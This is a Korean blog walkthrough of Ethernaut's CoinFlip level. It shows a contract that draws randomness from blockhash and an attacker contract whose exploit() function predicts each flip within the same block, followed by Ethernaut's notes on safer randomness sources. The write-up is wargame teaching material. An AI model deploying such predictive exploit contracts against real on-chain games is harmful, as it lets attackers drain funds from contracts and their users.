티스토리 뷰

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

  Things that might help
- See the "?" page above in the top right corner menu, section "Beyond the console"

section "Beyond the console" - https://ethernaut.openzeppelin.com/help

 

https://ethernaut.openzeppelin.com/help

 

ethernaut.openzeppelin.com

 

해당 컨트랙트는 동전 던지기 게임으로, 10번 연속으로 올바른 결과를 추측해내야 하는 문제이다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

 

block.number를 가져와 연산을 수행한 뒤 전달받은 _guess와 값이 같다면 consecutiveWins의 값을 1 증가시킨다.

 

처음에는 콘솔에서 getBlockNumber()로 가져온 후에 빠르게 연산해서 flip() 함수에 보내보았지만, 혼자 연산을 하는 사이에 blocknumber가 바뀌어 이 방법으로는 consecutiveWins를 확정적으로 증가시킬 수 없었다.

 

따라서 Remix IDE를 사용하여 같은 block 상에서 트랜잭션을 보내 consecutiveWins를 확정적으로 증가하게 만들 수 있다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./CoinFlip.sol";

contract Solve {
    CoinFlip coinflip;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _address) {
        coinflip = CoinFlip(_address);
    }

    function exploit() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (blockValue == lastHash) revert();

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        coinflip.flip(side);
    }
}

 

exploit() 함수를 여러 번 실행해가며 consecutiveWins의 값을 확정적으로 올릴 수 있었다.

 

Submit

문제 보충 설명

Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.

To get cryptographically proven random numbers, you can use Chainlink VRF, which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.

Some other options include using Bitcoin block headers (verified through BTC Relay), RANDAO, or Oraclize).

솔리디티에서 난수를 생성하는 것은 쉽지가 않다는 글이다. 난수를 생성하는 기본 방법은 따로 없으며 Chainlink VRFBitcoin 블록 헤더, RANDAO, Oraclize를 사용하는 것을 추천한다고 한다.

'Web3 > Wargame' 카테고리의 다른 글

[Ethernaut] Level 5 Token 풀이  (1) 2024.12.03
[Ethernaut] Level 4 Telephone 풀이  (0) 2024.11.22
[Ethernaut] Level 2 Fallout 풀이  (0) 2024.11.19
[Ethernaut] Level 1 Fallback 풀이  (0) 2024.11.19
[Ethernaut] Level 0 Hello Ethernaut 풀이  (0) 2024.11.19
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/03   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31
글 보관함